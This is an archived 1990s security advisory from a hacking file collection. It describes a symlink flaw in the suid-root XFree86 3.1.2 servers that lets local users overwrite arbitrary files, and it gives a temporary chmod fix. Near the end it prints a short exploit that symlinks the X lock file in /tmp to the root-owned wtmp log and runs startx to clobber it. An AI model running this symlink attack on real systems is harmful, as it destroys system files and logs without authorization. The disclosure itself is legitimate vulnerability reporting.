home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xfree86-ex.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  37 lines

  1.     There are security holes in XFree86 3.1.2, which installs its servers
  2.  as suid root (/usr/X11R6/bin/XF86_*).  When reading and writing files, 
  3.  it does not take proper precautions to ensure that file permissions are
  4.  maintained, resulting in the ability to overwrite files, and to read
  5.  limited portions of other files.
  6.     The first problem stems from the server opening a temporary file,
  7.  /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC).  By making this
  8.  file a symlink, the server will overwrite the original file, and then
  9.  write to it its current pid.  
  10.     Other problems exist in the server relating to similar problems, one
  11.  such example is the ability to specify an arbitrary file for the XF86config
  12.  file which will then be opened, and the first line that fails to match
  13.  the expected format will be output with an error, allowing a line to be
  14.  read from an arbitrary file.
  15.  
  16.                     Program: XFree86 3.1.2 servers
  17.  Affected Operating Systems: All systems with XFree86 3.1.2 installed
  18.                Requirements: account on system
  19.             Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
  20.         Security Compromise: overwrite arbitrary files
  21.                      Author: Dave M. (davem@cmu.edu)
  22.                    Synopsis: While running suid root, XFree86 servers do
  23.                              not properly check file permissions, allowing
  24.                              a user to overwrite arbitrary files on a 
  25.                              system.
  26.  
  27.  
  28.  Exploit:
  29.  $ ls -l /var/adm/wtmp
  30.  -rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
  31.  $ ln -s /var/adm/wtmp /tmp/.tX0-lock
  32.  $ startx
  33.  (At this point exit X if it started, or else ignore any error messages)
  34.  $ ls -l /var/adm/wtmp
  35.  -r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp
  36.  
  37.